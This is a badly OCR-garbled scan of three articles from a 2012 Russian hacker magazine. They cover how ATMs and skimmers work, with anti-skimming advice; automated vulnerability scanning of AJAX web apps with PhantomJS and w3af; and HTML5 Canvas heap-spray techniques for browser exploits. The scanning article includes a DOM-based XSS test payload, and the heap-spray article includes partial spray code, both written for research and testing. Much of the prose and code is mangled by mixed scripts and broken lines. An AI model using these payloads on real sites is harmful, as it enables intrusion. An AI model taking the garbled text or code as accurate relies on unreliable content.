Блок специальной электроники у каждого производителя банкоматов имеет свои вид и название, н0 назначение 0дн0 - управление индикацией и датчиками. Работа с банкоматом должна быть интуитивно понятна для любого пOльзователя, и этому способствуют индикаторы устройств, которые в конкретный момент ожидают действий клиента. 0бычно подсвечивают слоты вставки/возврата карты, внесения/выдачи денег, слот выдачи чека.,Щатчики, которыми фактически напичкан банкомат, фиксируют положение финансовых устройств, состояние

дверей,

изменения

температурыl

наличие вибрации, удара, обеспечивая в том числе безопасность АТМ.

КАРТРИДЕР Щля обработки карт в банкоматы устанавливается картридер, работающий с <полосатыми> и чиповыми картами. 0бычно используется

моторизированный вариант, то есть карта принимается и вOзвращается при помощи электропривода. На этапе вставки карты устройство проводит ее предварительную прOверку, 0пределяя дOступнOсть источника данных и их сOOтветствие заданным настройкам, если карта <пOдхOдящая) выполняется выбранная клиентом операция, Безопасность каждой модели картридера подтверждается соответствующими сертификатами. Но как раз картридер наиболее привлекателен для мошенникOв, ведь именн0 этOт мOдуль считывает данные с полосы Тгасk2, KoTopbie используются для проведения транзакции. Злоумышленники устанавливают на слOт картридера скиммингOвые накладки, сOдержащие считывающую головку и флеш-память, в которую записываются пOлученньiе данные. !ля предотвращения скимминга карточных данных в картридерах предусмотрена функция неравнOмерная пOдача карты, джиттер внOсящая шум в считаннь]е данные и нарушающая их структуру. Также используются антискимминг, активный или пассивный. Смысл пассивного заключается в особой конструкции слOта, кOтOрая препятствует устанOвке на-

Epic Fаil

кладки, а активный создает нейтрализующее электромагн итнOе пOле,

криптOклАвиАтурА,

0нА жЕ PlN PAD

ввода РlN-кода и других данных используется ЕРР-клавиатура [Епсгурtiоп PlN Pad), безопасность которой подтверждается соответствующими сертификатами. Шифрование в клавиатуре происходит на ключах ТriрlеDЕS [также используются алгоритмы DES, RSA], с помощью которых банкомат идентифицируется в процессинге, а также формирует криптоблоки транзакционных данных.,Щанные шифруются на паре ключей, загруженных в клавиатуру, а расшифровываются только на ответной паре в процессинге. В целях без0пасности компоненты ключей никогда не выдаются одному сотруднику. РlN-код вводится в криптOклавиатуру, где на ключах формируется РlN-блок, передаваемый в процессинг для идентификации кардхолдера. РlN-код не хранится и не передается в 0ткрытOм виде, н0 мOшенникOв это не останавливает. Ведь данных полосы карты недOстатOчн0 для хищения денежных средств, и для выяснения РlN-кода жулики устанавливают накладки на клавиатуру, оснащенные флеш-памятью для хранения считанных нажатий. ,Щля

(ЛИЦ0> Иногда вместо накладки мошенники устанавливают скрытую камеру таким образом, чтобы в объектив попадали клавиши. Камеру обычно прячут в выступающих на корпусе банкомата накладках, в рекламных (карманах>, распOлагающихся над клавиатурой чуть выше или сбоку. РlN-код также могут и просто подглядеть. Предотвратить это помогут зеркала или камеры

<обзор

за спиной".

Зеркала

работают

по принципу автомобильных зеркал заднего

вида, камеры же кOмплектуются мини-монитOрOм, расположенным на лицевой панели банкомата в поле зрения клиента. Oднако не все зеркала одинакOв0 пOлезны, некоторые


В3лоlt{ из них отражают конфиденциальную информацию, например в зеркальнOм пOтOлке мOжн0 увидеть вводимую в клавиатуру информацию, в том числе PlN. Помимо уже перечисленных мини-монитOра, клавиатуры и слOта картридера, на лицевой панели банкомата расположен пользовательский монитор. Сейчас он все чаще 0снащается сенсOрным стеклOм, т0 есть операции можно выбирать на экране нажатиями на определенные активные области. Но немало еще АТМ, где по бокам от монитора расположены функциональные клавиши, Их п0 четыре штуки справа и слева; такие кOличество и расположение связано с особенностями управляющего протокола, по которому работают банкоматы. 0тдельные модели банкоматов оснащаются мониторным конфиденциальным фильтром, который существенно уменьшает угол обзора и не позволяет подсмотреть данные на экране.

ПРИНТЕР ЧЕКOВЫЙ

На лицевой панели расположен

и слот чекOвOг0 принтера, сам же принтер нах0дится внутри, в сервисной зоне. Назначение пеустройства понятно из названия чать клиентских и инкассатOрских чекOв. Принтер оснащен ножом для отрезания чека; некоторые модели способны .вы-

-

плюнутьD

забытый

чек,

а часть

принтеров

умеет забирать назад забытые чеки и скидывать их внутрь банкомата. Принтер обычно работает по принципу термопечати. Такая технOлOгия позвOляет увеличить скOрOсть

печати и сделать ее практически бесшумной. Изредка встречаются матричные принтеры; они более шумные и медленные, но печатают на любой бумаге, в то время как термопринтер способен работать только с термолентой. У чеков, полученных на термопринтерах, есть недолгоодин существенный недостаток вечность. 0бычно срок читабельности таких чекOв не превышает пOлгOда, впOсле��ствии информация выгорает полностью. Поэтому для печати информации, предназначенной для долгосрочного хранения, обычно используют матричные принтеры. Иногда встречаются банкоматы, оснащенные широкоформатными принтерами, с помOщью кOтOрых мOжн0 пOлучить, например, счет-выписку п0 карте.

-

ДИСПЕНСЕР

-

ГДЕ ДЕНЬГИ ЛЕЖАТ

Все банкоматы, выдающие наличные (Cash 0ut), обязательно оснащены диспенсером. Устройство состоит из нескольких частей, каждая из кOтOрых 0твечает за 0пределенную часть процесса выдачи денег. Можно выделить презентер [.лапаu, подающая деньгиJ, пик-модуль или фид-модуль [слот для вставки кассеты], собственно кассеты, транспортные пути (по которым подаются деньги), датчики [контролирующие движение денегJ, контроллер (плата обработки команд и хранения параметров) и шаттер {шторка, из-за которой выдаются деньги). Щеньги укладываются в вандалоустойчивые кассеты (обычно четыре штуки, реже пять) вместимостью две-три тысячи банкнот и запираются

Кик-сенсор

. .

Старайся использовать банкоматы, расположенные внrгри отделений банка или в крупных торговых центрах. Агрегат должен быть хороtло освещен: так плохим парням слOжнее установить на него свои цJryчки,

тебе проще их заметить. Часто наличие скимминговой накладки можно

а

определить визуальн0 прOст0 смOтри внимательно на банкомат; не пользуйся им, если видишь подозрительные щели, неровности, наклейки, а по возможности

.

позвони в банк и сообщи о своих подозрениях. 0смотри банкомат на предметустановки нештатных скрытых камер, кOтOрые направлены на клавиаryру. 06рати внимание на клавиаryру: если видишь пOдозрительные

-

.

см. выше :l. rголщения, неровности, щели прикрывай свободной рукой ввод РlN-кода

.

всегда, даже если банкомат не кажется тебе пOдOзрительным. По возt,lожности не пользуйся банкоматами, расположенными рядOм с зеркальными поверхностями или под ними. Если же ты все-таки решил воспользоваться таким

о?2

датчик, реагирующий

на удары по банко},lату

на особый замок.

!оступ к деньгам извне при закрытой кассете невозможен. В отдельную кассету сбрасываются забытые и отбракованные банкноты. По команде купюры набираются в кассетах заданным количествOм, п0 транспOртным путям перемещаются в презентер и выдаются пачкой через щель шаттера клиенту.

сЕйФ Устройства, принимающие или выдающие деньги, надежно спрятаны в бетонно-стальключевым нOм <пирOге) с двумя замками [обычно сувальдным) и кодовым [лимбовым или электронным) - в сейфе, имеющем 1-З-й класс устойчивости к взлому.

Атм БЕзOпАсЕн!

Безопасным его делают средства антискимминговой

вьlрЕжи и сOхрАни!

-

(обороны>

и защиты

от подгляды-

ваний. Неотъемлемой частью стали скрытые камеры внутри банкомата, записи с которых хранятся на жестких дисках. Количество и расположение камер зависит от выбора банк, обслужибанка-эквайера (эквайер вающий кардхолдеров путем предоставления банкоматов, терминалов и прочего). Фрагменты записей обычно также передаются в режиме онлайн в спецотделы банка. Видеонаблюдение внутри устройства, как правил0, дOпOлняется внешними камерами их устанавливают в пOмещении, где расположен банкомат. Сейчас банки все чаще используют GРS-маячки, которые позволяют отследить перемещения банкомата, если ег0 все-таки пOхитили с места установки. Но сделать это не так-то просто: устройство весит от 600 до ]500 килограммOв и крепится к пOлу пOмещения мOщными анкерными болтами.

-

устройством, то убедись, что рядом никого нет, и не забудь о предыдущем совете.

-

Стандартный тайм-аут на изъятие денег 30 секунд. Если не успеешь забрать наличность, то она будет задержана, после чего придется разбираться с банком, что не всегда приятно. То же самое произойдет и с картой, если ты не успеешь забрать ее за З0 секунд. Если тебе нужно сохранить термочек, убери его в темное прохладное мест0, например между страниц книги; а еще лучше сразу сделай ксерокOпию или скан. Если же несчастье все-таки произошло и твою карry (угнали)) срочно звони в банк и требуй HelieдлeнHo заблокировать карry! Чем раньше

-

ты сделаешь это, тем больше шансов сохранить деньги. Аналогично нужно вести себя, если карта застряла в банкомате. Самое главное: не дер),ки на карте много денег, пусть там будет денежка на <<карманные расходы)>. Используй мя хранения счет, а нужные суммы перевOди перед планируемыми пOкупками, так ты смOжешь оставить мошенников с носом :l.

ВМЕСТ0 ЗАКЛЮЧЕНИЯ Сегодня ты узнал, как устроен банкомат, и познакомился с принципами его работы. Конечно, это лишь малая часть того, что я могу тебе рассказать о сложном и увлекательном мире АТМ, Но, вооружившись полученными знаниями, ты без труда сможешь опознать опасный банкомат, а также поддержать беседу со знакомым банкоматчиком ;l. всего тебе самого безопасного! fE

хлкЕр

12

l16,1/2012


взлO]ti

Тарас Иващенко, ад1.1инистратор информационной безопасности в Яндексе {охdеflВуапdех-tеаm.гu,

oxdef,info]

пЕl?ппЕ Вся инфорtlация предоставлена исключительно в ознакоtlительных целях. Ни редакция, ни автOр не несут 0тветственнOсти за любой возttоlкный вред, причиненный llaTeриала1.1и данной статьи.

Робот

n АвтO}iАтизи рOвАн н ыЙ Аудит вЕБ_п риложЕн иЙ Веб-приложения становятся одной из основных частей (цифровой жизни> современного человека. Кажется, что еще чуть-чуть и мы вовсе забудем о традиционных приложениях останется только смесь из веб-браузера и операционноЙ системы. Уже сеЙчас веб-аналоги заменили большинство десктопных приложениЙ кино и ТВ, почта, чаT, игры, социальные сети. С точки зрения безопасности это несет множество проблем для автоматизированного тестирования. Рассмотрим некоторые из них и попробуем

-

наЙти решения.

прOБлЕмы Как я уже отметил, за последние годы все, что связано с вебом, шагнуло очень далеко вперед, а ве6-6раузеры становятся, по сути, главными десктоп-приложениями. В то же время сканеры безопасности веб-приложений развиваются не так быстро. На текущий момент процесс сканирования веб-приложения классическим сканером включает в себя следующие фазы: Аутентификация в тестируемом веб-приложении. 0бычно это один или несколько НТТР-запросов [так называемая логинпоследовательность), отправка приложению которых приводит к созданию полноценной пользовательской сессии. Например, в простейшем случае это может быть РOSТ-запрос с именем пOльзователя и паролем на URL вида http://example.com/

.

. .

а

uth. ph р.

Кровлинг [англ. сгаwliп9). По сути, это обход с определенной глубиной (пауком) веб-приложения и сбор всех сущностей, которые мOгут генерировать НТТР-запросы: ссылки, формы, пOдключение скриптOв и так далее. Фаззинг [англ. fuzzing] самый этап, на котором сканер -тот и шлет большое количество НТТР-запросов с магической нагрузкой, анализирует ответы веб-сервера и пытается определить наличие XSS, SOLi lздесь и далее XSS, SQLi считаем уязвимостями, а не атакамцJ и прочих уязвимостей.

.

-

0тчет наверное, самая простая фаза, когда сканер генерирует в необходимом формате отчет для пользователя.

К несчастью, когда имеешь дело с современным вебприложением, у обычного сканера <обламываются зубы> при попытке найти в нем уязвимости. Проблемы начинаются уже на первом этапе кровлинга. Когда сканер запрашивает веб-страницу, он надеется получить в итоге пусть и не <валидный>, но все-таки преимущественно HTML с примесью JavaScгipt и CSS. Затем со страницы аккуратно выдираются ссылки, формы и тому подобное. Но в мире Веб 2.0 index.html уже давно не торт! Сейчас это уже скорее мясо из JavaScгipt с легкой окантовкой из HTML [в том числе и для того, чтобы сообщить параноику-пользователю о необходимости включить JavaScгiptl. Посмотрите на НТМL-исходник любого популярного социального сервиса и убедитесь в этом. Весь пользовательский интерфейс строится сейчас на клиенте. Сканер

хдкЁр 12l1b7l

2012


Робот для Веб 2.0

q,

Brck FoM

,rl (B П Tбolr G Mlo.d & sшl stop Book

1u1,,q!,,""l, оФl

Ноmэ

|

oxdef Projects

l

',2

met ,

., ] pellentesque consequat lpsum ln lpsum tlncldunt slt lасlпlа umа sodaeS. ц dapibus saglnJs auque, а auctor tellu5 р i _,a:] :, 1! ] ] !_5 uз ,|!et

. wзаl - web fuolicaton ffack and дudit Frameyork сопйьutоr . тhе ooen web юpllcation securi& Project (owAsP) member

odlo massa, puмna ас d,ctum поп, pre0um l Р, *:.. uье " , r Dопес mаQпа, sed ln odo mte fппФllа Sodales, liQ Erш ot5m orc , aolplsclngQulsпо1 сопsесt

Papers

.2о1 1_09_19 9заrJU: Howto test reb аооliсбtiопý wlй t3af .2011_04{з web aoo{ication Wlлerabllities iп соftеf о' ЬlоwБеr densioný .20! 1_01_16 web арaяiсаtiоп Wlnerabi|tieý iп cofteк о' browýer еfепsiопý .2010_1 1

_2 |

*

ооеm

Slides

ý

Статьr

ýlD.

Рис. 2. Примерно такой браузер встроен в большинство сканеров

в НТТР-ответе не видит никаких ссылок, форм. Кровлинг проходит практически безрезультатно. А все потому, что в то время, как веб-

браузеры эволюционировали от таких представителей, как Lynx и Mosaic, до монстров Fiгеfох и Сhгоmе, большинство сканеров по свOим вOзмOжностям внутри 0стались на урOвне текстOвых браузеров. это коммуникация между веб-клиентом !ругой блок проблем и веб-сервером, Конечно, как и в эре 1,0, это до сих пор в большинстве случаев делается с помощью стандартных GЕТ/РOSТ-запросов, В то же время приходится учитывать и такие моменты: В каком виде данные путешествуют между сторонами? В виде GЕТ-параметров? Как РOSТ-нагрузка? Аможет, мы имеемделосХМL-илиJSON-данными? А как насчет поддержки веб-сокетов?

-

.

. .

И наконец, конечно же, обычный сканер мало что может предпринять для поиска чисто клиентских проблем, например DOM-based XSS !а, разработчики сканеров пытаются выкрутиться /з голожения и используют.умный. поиск сигнатур возл,lожчой уязвимости в JavaScгipt. Но все же очевидно, что для их детектирования сканеру необходим полноценный встроеннь й JavaScгiptдвижок, равно как и другие браузерные технологии. И это очень непростая задача для разработчиков.

СРАВНЕНИЕ СКАНЕРOВ

.

.

того чтобы выяснить текущее положение с поддержкой современных веб-технологий в с(анерах уязвичостей, я подготовил [ну хорошо, взял старое и переделал в духе Веб 2.0] специальное тестовое веб-приложение под названием lttег. !а-да, это сервис микроблогов, и я надеюсь, что он станеттаким же популярньiм, как и его практически однофамилец:J, Тестовое приложение обладает следующими характеристиками:

.

. .

LAMPILinux-Apache-MySaL-PHP); поиск, личные сообщения, закладки; пользовательская часть за аутентификацией;

27 15 :9:с5 ча Web

!_]ц

Donec odto massa, puмna ас dictum поп, pretiumvtae magna Sed |п odio quis antefrin0illa Sodales. Et :aj: 05 ]7 15 :з:05 ца пеЬ

*

а|!д Lorem ipsum dolorslt met, consectetur adipiscing eht, FUSсе чеhсUlа, qum eu auctor philetra, епim orci

l

Рис.3. ltter

во всей

красе

использованиеАJАХ(например,длязакладок); ну конечно же, тут есть

уязвимости;],

Затем я отправился на всем известный сайт sесtооls.ог9 и взял несколько сканеров из секции Web Sсаппегs. Выбор делался на оснOве следующих критериев: встроенный модуль кровлинга (по этой причине утилиты вроде (старого лампового) nikto не попали в выборку}; . вслучаескOммерческимипродуктамидOступнаядемо-илитриал-версия,

.

Результаты тестирования были, вообще говоря, предсказуемыми. 0чень небольшое количество сканеров из протестированных имеют хоть какую-нибудь поддержку АJАХ-технологий. Q, Е. D. Теперь давай обсудим возможные пути и просто (<костыли>> для решения этих слOжных задач.

рЕшЕния Хорошо, мы убедились, что А..|АХ и вообще современные вебтехнологии принесли немало проблем для сканеров уязвимостей. Эти проблемы можно разделить на две большие области: сбор НТТР-трафика между клиентской и серверной частями веб-

. .

уязвимOстЕЙ вЕБ-прилOжЕниЙ Щля

]i:.05

прилOжения;

детектирование проблем безопасности, специфичныхдля клиентской стороны.

Но что у нас с возл"lожными решениями? Попробуем разобраться и рассмOтреть следующие варианты:

.

. .

.

Специальный JачаSсгiрt-парсердля извлечения URL-адресов из кусков JачаSсгiрt-кода. Классическое сканирование с подмешиванием сохраненных НТТ Р-з

а п ро со

в.

Интеграция сужесуществующими 0А-инструментами,

например

Sel en i um.

Встроенныйдвижокбраузерасмагиейдляимитациидействий пOльзOвателя.

Сканер

D01.,t-based XSS

Нашел АJАХ-запросы

wЗаf [tгuпk чегsiоп)

Вообще-то нет, но есть специал ьный gгер-плаги н для поиска опасных участков JачаSсгiрt-кода, в том ч исле и domXSS

Нет

Skipf ish {2.05b-1l

Нет

Нет

wapiti

Нет

Нет

Нет

Нет

П

Нет

Нет

И сп ол

Да

УАкунетикса естьтехнология под названием CSA (и возможность использовать модуль MS

В u rр

[1.1.6J

Рrоху

[1

.4.01l

ZарРгоху [1.З.2l Acunetix l8.0]

Да

Комментарий

Поддержка JavaScгipt ротести рова ьзовал

н и

12 11671

2а12

TOD0

Sрidег из бесплатной верси и

сь sрidег

lE как встроенный

хдкЕр

в

+

attac k m od

браузер)

u

l

es


взлом .

Специально подготовленный APl ве6-приложения для взаимодействия со сканером.

Первый вариант представляет по сути своей JачаSсгiрt-парсер (обычно реализованный с помощью механизма регулярных выражений) для поиска опасных участков кода и извлечения ценной информации вроде тех же URL-адресов. Недостаток такого варианта очевиден это в любом случае не полноценный JачаSсгiрtдвижок, а значит, толку от него в силу событийной природы языка будет не м ного. Второй вариант проще. Ведь и правда можно предположить, что нам удалось откуда-то достать НТТР-транзакции тестового веб-приложения [например, распарсить логи ве6-сервера) и их можно импортировать в сканер для дальнейшего фаззинга. А уж функция импорта есть сейчас практически во всех сканерах! Но мало того что необходимо специальное окружение для регулярных сканирований. Этот вариант не годится еще и потому, что не умеет детектировать клиентские уязвимости. !а и вообще выглядит уж сильн0 0граниченн0. Кроме тестирования безопасности, веб-приложения нуждаются и в обычном функциональном тестировании, А это значит, что утестирOвщикOв уже наверняка есть инструменты для автOматизации этого процесса в рамках SDLC,0дно из самых популярньiх решений для функциональноготестирования интерфейсов вебприложений это Selenium. Логичный вопрос можем ли использовать еrо для тестирования безопасности веб-приложения? ,Щля начала можно сделать единый прокси и проводить через него весь трафик от тестировщиков :). Таким образом мы заполучим так необходимые сканеру НТТР-запросы веб-приложения. Но, имея только трафик, мы столкнемся с теми же проблемами других вариантов, что рассмотрены выше, Существуюттакже исследования на тему использования Селениума напрямую для проверок безопасности [на п ри мер, Ь itly.comiQ99GX5 и sl i d esha. rеlРц8Е.|2]. Четвертый вариант предусматривает наличие встроенного движка современного веб-браузера [например, Мiсгоsоft lE или WebKit) плюс полноценный JачаSсгiрt-движок. На этом варианте мы остановимся чуть подробнее далее. И немного слов о последнем варианте. Мы можем представить серверную часть современного веб-приложения как набор АРl-методов, доступных по НТТР-протоколу. Таким образом, если мы рассматриваем автOматизирOваннOе сканирOвание как часть цикла разработки П0, то мы можем договориться с разработчиками о том, чтобы предоставить сканеру специальный манифест, описывающий этот АР|. Внимательный читатель сразу вспомнит про WSDL-файлы в технологии SOAP. Сканер может забирать такой манифест и фаззить методы из него.

Рис.4. Карта запросов

к ltter,

сделанная w3af

-

-

-

WEB2OSPlDER Мы пришли к тому, что если сканеру придется иметь дело не только с (домашними страницами>), но и с современными вебприложениями, то ему не обойтись без полноценного стека браузерных технологий, Схема работы такого сканера может выглядеть следующим образом. Вначале сканер проходит аутентификацию в тестируемом ве6-приложении и получает сессионные куки. На этапе кровлинга он подключает модуль ве6-6раузера и взаимодействует с ве6-приложением уже с помощью его. При этом модуль браузера шлет через прокси-модуль сканера весь трафик веб-приложения. flействия сканера на стороне браузера (такой "Веб 2.0 кровлинг> получаетсяl разберем более подробно. В случае с AJAXприложением НТТР-запрос к серверной части может быть послан практически при любом действии [или бездействии) пользователя. У ве6-приложения больше нет страниц в привычном их понимании, но есть состояния. Ве6-приложение [клиентская часть) может переходить из одного состояния в другое по клику на ссылке (или любом другом объектеl либо при возникновении любого другого события в рамках JavaScript. Например, пользо-

Fч zza ble

Req

u

ests

Рис.5. Web2OSpider

ватель кликнул на ссылку.Настройкиr, и ему без перезагрузки основной страницы показывается форма с настройками, которая также без перезагрузки и отправляется на сервер для обработки. Таким образом, задача в рамках этапа кровлинга из <собрать все ссылки) превращается в <собрать максимально полную карту состояний ве6-приложения>. !ля упрощения этой, вообще говOря, сложной задачи будем считать, что URL однозначно идентифицирует состояние веб-приложения. Например, для экрана <Настройки> U RL может выглядеть как http://example.com/app/#settings. После открытия в модуле браузера <главной страницы) веб-приложения мы можем попросить его найти и прокликать все объекты, которые могут быть источниками смены состояния, например те же ссылки (тег al или картинки (тег img). Запомнить все нOвые сOстOяния, кOтOрые пOлучились пOсле клика для следующей итерации. Затем проходим подобным образом по всем собранным состояниям [количество итераций, оно же глубина обхода, конечно, регулируется). Напоминаю, что весь трафик при этом проходит через сканер и сохраняется для дальнейшего фаззинга. Конечно, можно в качестве модуля браузера использовать в (сыром> виде соответствующий движок - Gecko, WebKit... Но эта задача будет равна, по сути, написанию своего еще одного браузера, которых на том же WebKit сейчас великое множество. Но есть вариант интереснее и проще а что, если использовать полноценный веб-6раузер без *иксовu, да еще и с возможностью скриптинга на JачаSсгiрt?I Вот, например, PhantomJS, который уже пользуется популярностью у разработчиков и тестировщиков. Это полный стек браузерных технологий на базе WebKit, которым можно управлять через скриптинг на JavaScгipt и даже СоffееSсгiрt, Также важным фактором является то, что, как и движок, это свободный [New BSD License] проект. Например, в следующем участке кода мы открываем необходимую страницу и можем выполнять с ней практически все что угодно в кOнтексте ее дOмена.

-

console. 1og( ' Loading а web page ' ); Vаг раgе = геqчiге( 'webpage' ) . сгеаtе( ); чаг чг1 ='http://www.phantomjs.oгgl' ; раgе.ореп(чг1, function (status) { phantom.exit(); //Паgе is ]"oaded! }); А вот так можно сделать простую, но тем не менее <натуральную> проверку DOM-based XSS:

Val. раgе = пеw [^lеЬРаgе()j чаг чп1 = "http://example.com/foo.php"; хлкЕр

12l1b7l2012


Роботдля Веб

if

(states.indexOf(tmp_uг1)

to_visit

.

push (tmр_чг1 )

==

-11

2.0

1

}

}

this.back(); } 1\. ])l

});

}

PhantomJS

Рис. 6. Лоrотип

Рис.

7.

Логотип

CasperJS

vаг token = 'xss'; vаг payload ='?"><scгipt>document.title=Stгing.

fгоmСhагСоdе(' + stг2ascii(token) +')</sсгiрt>';

uгl=чг].+рауIоаd; раgе.ореп(uп1, function (status) if (status !== 'success') { console. log( 'Unable phantom.exit();

}

}

Рис. 8 .Логотип w3af

}); Jt

fог (чаг i

= О; i <= max_deep; i++) саsреr. then ( ргосеss_раgе) ;

Ё

} {

to Ioad the

addгess

titIe = page.evaluate(function геtuгп document.title;

var-

()

I '

);

{

});

if (title

==

token)

{

console.log('DOM-based XSS чг1);

}

phantom.

is

found in\nURL:

'

+

-

exit ( );

Все очень просто. В нагрузке пытаемся изменить какой-нибудь DOМ-объект и потом проверяем изменения. В данном случае меняем document.title. Но использовать в чистом виде PhantomJS может оказаться для специфичных задач все же не так удобно, как хотелось бы. В таком случае рекомендую обратить внимание на другой проект СаsрегJS, который, по сути, является надстройкой над PhantomJS и дает, как любят говорить программисты, больше (синтаксического сахара) и удобства скриптинга на все том же JаvаSсгiрt. 0писанный выше алгоритм обхода состояний веб-приложения, реализованный для PhantomJS/CaspeгJS, будет иметь следующий

-

вид:

ргосеSS_раgе =

vаг

чг11

function ()

if (to_visit.length чг1

=

> 0) to_visit.pop();

{

,[

Современные веб-приложения принесли не только скорость работы интерфейса и прочие удобства для конечного пользователя и веб-разработчиков, но и порядочно головной боли для разработчиков сканеров уязвимостей. Полноценно тестировать такие прилOжения дOступн0 далек0 не всякOму сканеру, и зачастую это дорогие коммерческие разработки. Более того, это еще и хорошая тема для академического исследования! В этой статье я попытался показать, каким образом эти проблемы можно решать и чт0 за теми сканерами, кOтOрые сумеют эт0 сделать, будущее. Удел же остальных будет сканировать старые ламповые веб-странички :). ]tr

{

геtuгп;

J

this.thenOpen(uг1, function () { vаг Iinks = this.evaIuate(getCllckabJ.e); fоп (чаг i = 0; i < Iinks.length; i++) i

if (this.exists(Iinks[1].path)) { if ( !need_fo1Iow_unI(Iinks[1].hгef)) continue;

{

}

this.thenCIick(IinksIi].path).then(function this.wаit(З00, function () { чаг tmр_чг1

=

хлкЕр

121167/2012

()

{

this.gеtСчггепtUr1();

if (uгl !== tmр_uгl) { if (get_domain(tmp_uгI)

Немного комментариев по коду. Массив to_visit содержит URLадреса, которые необходимо будет учесть при следующей итерации. А states, соответственно, адреса уже обработанных состояний. Количество итераций есть глубина анализа веб-приложения и задается переменноЙ max_deep. Функция пееd_fоllоw_uгl необходима для того, чтобы наш (паук> не уходил за пределы домена тестируемого веб-приложения. Напоминаю, что мы рассматриваем все-таки скорее РоС, чем рабочий вариант, и поэтому считаем, что НТТР-запросы могут генерировать элементы а и img. flля абсолютноЙ адресации этих элементов я использовал СSS-селекторы, хотя кому-то будут больше по душе ХРАТН. Ну и наконец мы подошли к самому сканеру и проксимодулю. В рамках данного исследования в качестве сканера был выбран wЗаf. ,Щля тех, кто не знает: это достаточно мощный опенсорсный модульньiй сканер. Эдакий Метасплоит для веба. Написан он на Питоне, а буква F в названии расшифровывается как фреймфорк {Web Application Attack апd Audit Fгаmеwогk) в общем, достаточно легко можно писать для WЗаf свои модули. В нашем случае был написан РоС disсочегу-модуль wеЬ2OSрidег (bit./SU7cc2), который как раз и запускал при сканировании PhantomJS со специальной JS-нагрузкой. Трафик при этом проксируется через другой модуль wЗаf и в дальнейшем на этапе аудита используется для всестороннего фаззинга. В итоге пOлучилOсь дOстатOчн0 интереснOе решение, кOтOрOе пOзвOляет уже не с таким ужасOм в глазах смOтреть на тестирOвание, в том числе и автоматизированное, современных ве6приложений, А с учетом того, что у нас есть полноценный браузер и возможность запуска произвольного JS-кода в контексте тестируемOг0 дOмена, мы впOлне мOжем пOискать клиентские уязвимости!

ЗАКЛЮЧЕНИЕ

{

states.push(uг1)

} else

{

==

tагgеt_dоmаiп)

{

. <lnvariant-Based Automatic Testing of 1-1оdеrп Web Applications> Ьу Ali i,lesbah, Агiе van Dечrsеп апd and Dаппу Roest, !it.]y|z!x!d . <Сhаllепgеs iп the Automated Testing of llodern Web Applications> Ьу Nathan Hamiel, Grеgоrу Fleischer, Seth Law апd Justin Engle1 bIJylTxlЗ8!


взлOil

Алексей Синцов

(def

сопгчssiаГd gmail.coml

ппlп

ппптт!tr

. 06щее о Неар Sрrау: goo.9l/0MMxC; . презентация на тену испOльзOвания

Вся информация предоставлена исключительн0

HTPlL5 для Неар

целях. Ни редакция, ни автOр не несут 0тветственнOсти

Spray: goo.gl/RбqLh.

в 0знак01.1ительных

за любой возмоr<ный вред, причиненный МаТеРИаЛаl,,lИ

статьи.

ДаННОЙ

Новьlетрюки

длянЕАр5рm ](AK нтм L5

дшАЕт нАшу жизнь прOlцЕ lUlOжнЕЕа

Трудно не заметить, что в наше время очень многие занимаются секурити-темой. Oчевидно, что эта движуха уже вышла за рамки андерграудного угара [хотя и там еще полно молодцов] и хлещет новыми темами и фичами, ноуже по-взрослому-теперьэто называется исследованиями. В связи с чем ваш покорный слуга, с позволения доблестной редакции, решил завести колонки где будет освещать такие вот телодвижения сцены, а также излагать свOи cKpOMHble мысли п0 этOму пOводу. НЕАР SPRAY НА HTML5 При создании эксплойтов для браузера или его плагинов часто возникает необходимость выполнить так называемые Неар Sргау. Эта техника позволяет заполнить память процесса заранее подготовленными данными, чтобы при эксплуатации уязвимости их можно было использовать. Например, там можно распOлOжить сам шелл-кOд и пOсле атаки выпOлнить перехOд на него [Неар Sргау дает возможность заполнить память так, чт0 мы мOжем предпOлOжить т0 мест0 в памяти, где шелл-кOд будет находиться). Кроме того, эта техника используется для эксплуатации таких уязвимостей, как Неар 0чегflоw и Useаftег-fгее. Последние лет десять для этой техники использовали обыкновенный JачаSсгiрt. Грубо говоря, просто создавали большой массив строк в памяти. Но разработчики браузеров, а также 0С (мы говорим о Мiсгоsоft) не дремлют и придумывают различные хитрости, чтобы помешать нам заполнять память своими данными. В этом году на конференции EuSecWest ис-

следователи Федерико Муттис и Энибал Сакко опубликовали еще пару вариантов организации Неар Sргау без использования JS-cTpoK. На самом деле одна из представленных идей давно уже на вооружении у баг-хантеров, но теперь она официально опубликована, так что о ней мы и поговорим...

идЕя Идея любого Неар Sргау проста - сделать так, чтобы память быстро наполнилась данными, которые контролирует атакующий. Если раньше этого добивались, создавая большие массивы со строками в JavaScгipt или даже АсtiопSсгiрt, то теперь нужно

быть хитрее. 0чевидно, чтобы заспамить память, много ума не надо, но нужно сделать это так, чтобы еще и работало быстро. Так, одной

из идей было использование ВМР-картинок, которые бы подгружались в браузер. Что логично, содержимое ВМР шелл-код. Если таких картинок грузить много, то они будут располагаться в памяти одна за другой, таким образом реализуя Неар Sрrау. Только есть одна проблема: по сети это может занять какое-то время, а атака, которая идет более 20 секунд, не хорошая атака, а длительная и палевная, При этом размер картинки тоже должен быть правильным: слишком маленькая долго спамить, слишком большая будут при заполнении {то есть блоки будут сидеть "просветы) в памяти неплотно, что снижает вероятность *угадыванияu]. Поэтому картинка должна быть равна размеру выделяемой страницы, например 0 х 000]0000. С учетом заголовка кучи и заголовка ВМР это позволит нам с точностью до байта предсказывать значения наших данных по выбранному адресу памяти.

-

-

-

-

HTML5 Теперь вернемся к нашим исследователям. Как уже было сказано, гонять ВМР по сети дело неблагодарное, поэтому очевидно, что эту идею можно развить, но гадить в памяти без загрузки нового контента по сети. На помощь приходит HTML5, который научился работать с изображениями и дает это делать всем желающим! Да, да, мы говорим о Canvas. Идея проста: . Создаем объект canvas. . 0пределяем размер. Получаем2D-контекст. Создаем изображения, используя RGBA.

-

. .

хдкЕр 12l167l2012


Новые трюки для Неар Sргау

vаг context = elem.getСontext('2d' ); чаг lmgd = context.cneateImageData(256, 256); fi1I(imgd, payload); mеmоrу[i] = imgd;

I.

};

Результат спрея

f

с

J,

< /Sсгiрt>

Видно, что данный пример работает, но все же не так быстро, как старыЙ добрыЙ Неар Sргау на чистом JачаSсгiрt. Поэтому исследователи предложили использовать еще одну фичу: web Wогkегs.,Щанный класс позволяет реализовать в контексте вкладки браузера многопоточное выполнение задач [JачаSсгiрt-кода, например). Я немного изменил код с презентации (чтобы он хоть както заработал, а то любят выкладывать нерабочиЙ код некоторые.,.), и у меня пOлучилOсь примерн0 т0, чт0 хOтели пOказать автOры:

использованиеlt Сапчаs

Ma-orymap

wогkег

.

js

опmеssаgе =

function(e)

{

